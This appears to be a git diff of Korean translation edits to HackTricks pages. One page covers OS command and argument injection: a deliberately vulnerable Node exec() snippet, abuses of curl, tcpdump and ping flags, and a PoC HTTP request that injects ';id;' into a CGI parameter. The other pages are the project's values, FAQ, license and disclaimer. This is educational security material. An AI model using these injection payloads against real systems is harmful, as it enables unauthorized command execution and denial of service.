 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()`는 **shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 가지는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)가 사용자 입력이 문자열로 연결될 때 **command injection**을 유발합니다.
+`exec()`는 **shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 갖는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)는 사용자 입력이 문자열에 연결될 때 **command injection**을 발생시킵니다.
 
-**완화:** `execFile()`를 사용하거나 (`shell` 옵션 없이 `spawn()`을 사용) 각 인수를 **별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 하세요:
+**완화:** `execFile()`를 사용하거나 (`shell` 옵션 없이 `spawn()`을 사용) 각 인수를 별도의 배열 요소로 제공하여 shell이 개입하지 않도록 하세요:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
+실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 `id_user`에 삽입할 수 있었고, 이 값이 이후 `exec()` 호출에 임베드되어 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024).
 
-### Argument/Option injection: 선행 하이픈을 통한 (argv, no shell metacharacters)
+### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
 
-모든 injections가 shell 메타문자를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달하는 경우(`execve`/`execFile`을 사용하고 shell이 없는 상황에서도), 많은 프로그램은 여전히 `-` 또는 `--`로 시작하는 인수를 옵션으로 해석합니다. 이를 통해 공격자는 shell에 진입하지 않고도 동작 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다.
+모든 주입이 쉘 메타문자를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달할 때(심지어 `execve`/`execFile`로 쉘을 거치지 않더라도) 많은 프로그램이 `-` 또는 `--`로 시작하는 인수를 옵션으로 파싱합니다. 이를 통해 공격자는 쉘을 깨뜨리지 않고도 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다.
 
-일반적으로 나타나는 위치:
+일반적으로 이러한 문제가 나타나는 곳:
 
-- Embedded web UIs/CGI handlers가 `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>` 같은 명령을 구성할 때.
-- Centralized CGI routers (예: `/cgi-bin/<something>.cgi`와 같이 `topicurl=<handler>` 같은 selector 파라미터를 사용하는 경우)에서 여러 핸들러가 동일한 약한 밸리데이터를 재사용할 때.
+- 임베디드 웹 UI/CGI 핸들러가 `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>` 등과 같은 명령을 구성하는 경우
+- 중앙화된 CGI 라우터(예: selector 파라미터로 `topicurl=<handler>`를 사용하는 `/cgi-bin/<something>.cgi`)에서 여러 핸들러가 동일한 취약한 유효성 검사기를 재사용하는 경우
 
 시도해볼 것:
 
-- 하위 도구가 플래그로 소비하도록 `-`/`--`로 시작하는 값을 제공하세요.
+- 하위 도구가 플래그로 해석하도록 `-`/`--`로 시작하는 값을 제공해보세요.
 - 동작을 변경하거나 파일을 쓰는 플래그를 악용해보세요. 예:
-  - `ping`: `-f`/`-c 100000`으로 장비를 과부하시켜 DoS 유발
-  - `curl`: `-o /tmp/x`로 임의 경로에 쓰기, `-K <url>`로 공격자 제어 config 로드
-  - `tcpdump`: `-G 1 -W 1 -z /path/script.sh`로 unsafe wrapper에서 rotate 후 실행 달성
-- 프로그램이 `--` end-of-options를 지원한다면, 잘못된 위치에 `--`를 prepending하는 단순한 완화책을 우회할 수 있는지 시도해보세요.
+  - `ping`: `-f`/`-c 100000` — 장치에 부하를 줘서 DoS 유발
+  - `curl`: `-o /tmp/x` — 임의 경로에 기록, `-K <url>` — 공격자 제어 config 로드
+  - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` — post-rotate 실행을 통해 unsafe wrapper에서 코드 실행 달성
+- 프로그램이 `--` end-of-options를 지원한다면, 잘못된 위치에 `--`를 붙이는 단순한 완화책을 우회할 수 있는지 시도해보세요.
 
-Generic PoC shapes against centralized CGI dispatchers:
+중앙화된 CGI 디스패처에 대한 일반적인 PoC 형태:
 ```
 POST /cgi-bin/cstecgi.cgi HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
@@ -178,14 +178,14 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
 {{#endref}}
 
-## 참고 자료
+## 참고자료
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
-- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [Synology 암호화된 아카이브 추출 – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
 - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
-- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
+- [Unit 42 – TOTOLINK X6000R: 세 가지 새로운 취약점 발견](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
 
 {{#include ../banners/hacktricks-training.md}}

src/welcome/hacktricks-values-and-faq.md

@@ -2,56 +2,56 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## HackTricks 가치
+## HackTricks Values
 
 > [!TIP]
 > 다음은 **HackTricks 프로젝트의 가치**입니다:
 >
-> - 모든 인터넷 사용자에게 **무료**로 **교육용 hacking** 자료를 제공한다.
->  - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 한다.
->  - 이 책의 목적은 포괄적인 **교육 자료**로서 기능하는 것이다.
-> - 커뮤니티가 게시한 훌륭한 **hacking** 기법을 저장하고 **원저자(ORIGINAL AUTHORS)**에게 모든 **크레딧**을 돌린다.
->  - **다른 사람의 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다.
->  - 우리는 또한 HackTricks에 **자체 연구**를 싣습니다.
->  - 여러 경우에 기술의 중요한 부분을 HackTricks에 **요약**으로만 작성하고, 자세한 내용은 원본 게시물을 방문하도록 **독자에게 권장**합니다.
-> - 책에 있는 모든 **hacking** 기법을 **정리**하여 더 **접근하기 쉬운(MORE ACCESSIBLE)** 형태로 만든다.
->  - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠를 정리하는 데만 수천 시간 이상을 무료로 헌신했습니다.
+> - 모든 인터넷 사용자에게 **무료**로 **교육용 hacking** 자원에 접근할 수 있게 제공합니다.
+>  - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 합니다.
+>  - 이 책의 목적은 포괄적인 **교육 자료**로서 기능하는 것입니다.
+> - **STORE** 커뮤니티가 발표한 멋진 **hacking** 기술들을 저장하고 **ORIGINAL** **AUTHORS**에게 모든 **credits**를 돌립니다.
+>  - **We don't want the credit from other people**, 우리는 단지 모두를 위해 멋진 트릭을 저장해두고 싶습니다.
+>  - 또한 HackTricks에 **우리의 연구**도 게재합니다.
+>  - 경우에 따라 기술의 중요한 부분을 HackTricks에 **요약**만 게재하고 더 자세한 내용을 위해 **독자가 원문 게시물을 방문하도록 권장**할 것입니다.
+> - **ORGANIZE** 책에 있는 모든 **hacking** 기법을 정리하여 **MORE ACCESSIBLE** 하게 만듭니다.
+>  - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠를 정리하는 데만 수천 시간 이상을 무료로 바쳤습니다.
 
 <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
 
-## HackTricks FAQ
+## HackTricks faq
 
 > [!TIP]
 >
-> - **Thank you so much for these resources, how can I thank you?**
+> - **이러한 자료들을 제공해 주셔서 감사합니다. 어떻게 감사 인사를 드릴 수 있나요?**
 
-공개적으로 HackTricks 팀이 이 모든 자료를 정리해 준 것에 대해 감사 표시를 하고 싶다면 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급한 트윗으로 공개적으로 감사할 수 있습니다.\
-특히 감사하다면 [**sponsor the project here**](https://github.com/sponsors/carlospolop)에서 프로젝트를 후원할 수도 있습니다.\
-그리고 Github 프로젝트에 **별(star)을 주는 것**도 잊지 마세요! (링크는 아래에서 찾으실 수 있습니다).
+이 모든 자료를 정리해 주신 HackTricks 팀에게 공개적으로 감사하려면 트윗에서 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급해 주세요.\
+특히 감사하시면 [**여기에서 프로젝트를 후원**](https://github.com/sponsors/carlospolop)하실 수 있습니다.\
+그리고 Github 프로젝트에 **별(star)을 주는 것**을 잊지 마세요! (아래에서 링크를 확인하세요).
 
 > [!TIP]
 >
-> - **How can I contribute to the project?**
+> - **프로젝트에 어떻게 기여할 수 있나요?**
 
-커뮤니티와 **새로운 팁과 트릭을 공유하거나 책에서 발견한 버그를 수정**하려면 해당 Github 페이지에 **Pull Request**를 보내세요:
+책에서 찾은 **새로운 팁과 트릭을 커뮤니티에 공유하거나 버그를 수정**하려면 해당 Github 페이지에 **Pull Request**를 보내세요:
 
 - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
 - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
 
-Github 프로젝트에 **별(star)을 주는 것**도 잊지 마세요!
+Github 프로젝트에 **별(star)** 주는 것을 잊지 마세요!
 
 > [!TIP]
 >
-> - **Can I copy some content from HackTricks and put it in my blog?**
+> - **HackTricks의 일부 콘텐츠를 복사하여 내 블로그에 올려도 되나요?**
 
-네, 가능합니다. 다만 **내용을 가져온 특정 링크(들)**을 반드시 명시해 주세요.
+네, 가능합니다. 그러나 **콘텐츠를 가져온 특정 링크(들)를 반드시 명시**하세요.
 
 > [!TIP]
 >
-> - **How can I reference a page of HackTricks?**
+> - **HackTricks의 페이지를 어떻게 참고 표기하나요?**
 
-정보를 가져온 페이지의 링크가 표시되어 있으면 충분합니다.\
-bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다:
+정보를 가져온 페이지의 링크가 표시되어 있으면 그것만으로 충분합니다.\
+BibTeX가 필요하다면 다음과 같이 사용하실 수 있습니다:
 ```latex
 @misc{hacktricks-bibtexing,
 author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -64,47 +64,47 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
 >
 > - **Can I copy all HackTricks in my blog?**
 
-**그렇게 하시지 않는 편이 좋습니다**. 그건 **아무에게도 이롭지 않습니다** — 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
+**저는 권하지 않습니다**. 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있기 때문에** **누구에게도 도움이 되지 않습니다**.
 
-사라질까 걱정된다면, Github에서 fork 하거나 다운로드하세요. 앞서 말했듯이 이미 무료입니다.
+만약 사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 앞서 말했듯 이미 무료입니다.
 
 > [!WARNING]
 >
 > - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
 
-첫 번째 **HackTricks** **가치**는 전 세계 **모두(ALL)**에게 **무료(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 기여했으며, 다시 말하지만 **무료**입니다.
+첫 번째 **HackTricks** **가치**는 전 세계 **모두에게 무료로** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 바쳤으며, 다시 말하지만 **무료**로 제공합니다.
 
-HackTricks 책이 **상업적 목적**을 위한 것이라고 생각하신다면, **완전히 오해하신 겁니다**.
+HackTricks 책이 **상업적 목적으로 만들어졌다**고 생각하신다면, **완전히 틀렸습니다**.
 
-스폰서가 있는 이유는 모든 콘텐츠가 무료이더라도, 커뮤니티가 원할 경우 **우리의 작업을 후원할 수 있는 선택지**를 제공하고 싶기 때문입니다. 따라서 사람들에게 [**Github sponsors**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션을 제공하고, **관련 사이버보안 기업들**이 HackTricks를 후원하고 책에 **광고(ads)**를 게재할 수 있도록 합니다. 광고는 항상 **눈에 띄지만 학습을 방해하지 않는 위치**에 배치됩니다.
+우리에겐 스폰서가 있는 이유는 모든 콘텐츠가 무료이더라도 커뮤니티가 원한다면 **우리의 작업을 감사히 여길 수 있는 선택지**를 제공하고 싶기 때문입니다. 따라서 사람들에게 [**Github sponsors**](https://github.com/sponsors/carlospolop)를 통한 후원 옵션을 제공하고, **관련 사이버보안 회사들**이 HackTricks를 스폰서하도록 하며 책 내에 **광고를 게재**합니다. 이 **광고들**은 항상 **눈에 띄되**, 누군가 콘텐츠에 집중할 때 **학습을 방해하지 않도록** 배치됩니다.
 
-HackTricks는 콘텐츠가 훨씬 적은 다른 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어진 것이 아니기 때문입니다.
+HackTricks는 다른 많은 콘텐츠보다 훨씬 적은 양의 블로그들처럼 성가신 광고로 가득 차 있지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
 
 > [!CAUTION]
 >
 > - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
 
-**정말 죄송합니다. 이런 일이 있어서는 안 됩니다**. Github issues, Twitter, Discord 등으로 HackTricks 페이지의 링크와 원본 블로그 링크를 알려주시면 **확인 후 ASAP로 추가하겠습니다**.
+**정말 죄송합니다. 이런 일이 있어서는 안 됩니다.** Github 이슈, Twitter, Discord 등으로 해당 HackTricks 페이지의 링크와 여러분 블로그의 링크를 알려주시면 **확인 후 가능한 빨리 출처를 추가하겠습니다**.
 
 > [!CAUTION]
 >
 > - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
 
-HackTricks에 당신의 페이지에 대한 링크가 포함되어 있는 경우:
+HackTricks에 여러분의 페이지 링크가 포함되어 있으면 다음과 같은 이점이 있습니다:
 
-- 당신의 **SEO**가 향상됩니다.
-- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다.
-- **HackTricks는** 사람들에게 **원문 페이지를 확인하도록 권장**합니다(몇몇 페이지 소유자들은 자신의 페이지가 HackTricks에 올라간 이후 방문자가 늘었다고 알려주었습니다).
+- 여러분의 **SEO**가 향상됩니다
+- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다
+- **HackTricks는** 사람들에게 **여러분의 페이지를 확인하도록 장려**합니다 (일부 페이지 소유자들은 자신의 페이지가 HackTricks에 포함된 이후 방문자가 늘었다고 알려왔습니다)
 
-그럼에도 불구하고 블로그의 콘텐츠를 HackTricks에서 제거하기 원하시면 알려주십시오. 저희는 확실히 **당신의 블로그로의 모든 링크와 해당 기반의 콘텐츠를 제거**하겠습니다.
+그러나 그래도 HackTricks에서 여러분 블로그의 콘텐츠를 제거하길 원하시면 알려주세요. 저희는 확실히 **여러분 블로그로의 모든 링크를 제거**하고 해당 기반의 모든 콘텐츠를 삭제하겠습니다.
 
 > [!CAUTION]
 >
 > - **What should I do if I find copy-pasted content in HackTricks?**
 
-우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원본 출처가 참조되지 않은 채 복사-붙여넣기된 페이지를 발견하시면 알려주십시오. 저희는 해당 내용을 **삭제**, **본문 앞에 링크 추가**, 또는 **링크를 추가하여 재작성**하는 방식 중 하나로 처리하겠습니다.
+우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원 출처 없이 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하시면 알려주세요. 그러면 저희는 해당 내용을 **삭제**하거나, **텍스트 앞에 출처 링크를 추가**하거나, **출처 링크를 넣어 재작성**하겠습니다.
 
-## LICENSE
+## 라이선스
 
 Copyright © All rights reserved unless otherwise specified.
 
@@ -114,30 +114,30 @@ Copyright © All rights reserved unless otherwise specified.
 - Share — copy and redistribute the material in any medium or format.
 - Adapt — remix, transform, and build upon the material.
 
-#### Additional Terms:
+#### 추가 조건:
 
-- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물에서 발췌한 내용 등 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 보유자의 명시적 허가를 받아 이루어집니다. 제3자 콘텐츠에 대한 구체적 라이선스 정보는 원문 출처를 참조하시기 바랍니다.
-- Authorship: HackTricks가 원저자로 작성한 콘텐츠는 본 라이선스의 적용을 받습니다. 공유하거나 수정할 때 저작자에게 출처를 표기할 것을 권장합니다.
+- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌문과 같은 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따르거나 해당 저작권 보유자로부터 명시적 허가를 받아 이루어집니다. 제3자 콘텐츠의 특정 라이선스 정보는 원 출처를 참조하십시오.
+- Authorship: HackTricks가 작성한 원본 콘텐츠는 이 라이선스의 조건 적용을 받습니다. 공유하거나 수정할 때 저자를 표기하는 것을 권장합니다.
 
-#### Exemptions:
+#### 면제 사항:
 
-- Commercial Use: 이 콘텐츠의 상업적 이용에 관한 문의는 저에게 연락해 주십시오.
+- Commercial Use: 이 콘텐츠의 상업적 사용에 관한 문의는 연락해 주시기 바랍니다.
 
-이 라이선스는 해당 콘텐츠와 관련된 상표 또는 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 등장하는 모든 상표와 브랜딩은 각 소유자의 재산입니다.
+이 라이선스는 콘텐츠와 관련된 상표나 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 표시된 모든 상표와 브랜딩은 각 권리자의 소유입니다.
 
-**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
+**HackTricks에 접근하거나 사용하는 경우, 이 라이선스 조건을 준수하는 데 동의하는 것으로 간주됩니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
 
-## **Disclaimer**
+## **면책사항**
 
 > [!CAUTION]
-> 이 책 'HackTricks'는 교육적 및 정보 제공 목적을 위해 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 발행자는 해당 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적 또는 묵시적으로 어떠한 보증도 하지 않습니다. 따라서 해당 정보에 대한 의존은 전적으로 사용자의 책임입니다.
+> 본 책 'HackTricks'는 교육적 및 정보 제공 목적을 위한 것입니다. 이 책 내의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이든 묵시적이든 어떠한 진술이나 보증도 하지 않습니다. 따라서 이러한 정보에 의존하는 것은 전적으로 본인의 책임입니다.
 >
-> 저자와 발행자는 데이터 손실이나 이익 손실과 관련하여 발생하는 간접적 또는 결과적 손해를 포함한 어떠한 손실이나 손해에 대해서도 책임을 지지 않습니다.
+> 저자와 출판사는 이 책의 사용과 관련하여 발생하는 데이터 손실 또는 이익 손실을 포함하되 이에 국한되지 않는 간접적이거나 결과적인 손해 또는 어떠한 손해에 대해서도 책임을 지지 않습니다.
 >
-> 또한 이 책에 설명된 기법과 팁은 교육적·정보 제공 목적으로만 제공되며 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 발행자는 어떠한 불법적이거나 비윤리적인 활동도 용인하거나 지원하지 않으며, 이 책의 정보를 사용하는 것은 전적으로 사용자의 위험과 재량에 달려 있습니다.
+> 또한, 이 책에 설명된 기법과 팁은 교육적이고 정보 제공 목적을 위한 것이며 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 어떠한 불법적 또는 비윤리적 활동도 용인하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자의 위험과 재량에 따릅니다.
 >
-> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임을 지며, 본서에 기술된 기법이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
+> 사용자는 이 책에 포함된 정보를 바탕으로 취한 모든 행동에 대해 단독으로 책임을 지며, 기법이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
 >
-> 이 책을 사용함으로써, 사용자는 저자와 발행자를 이 책 또는 이 책에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 해에 대해 면책시키는 데 동의합니다.
+> 이 책을 사용함으로써 사용자는 저자와 출판자를 이 책 또는 그에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 면책하는 데 동의하는 것입니다.
 
 {{#include ../banners/hacktricks-training.md}}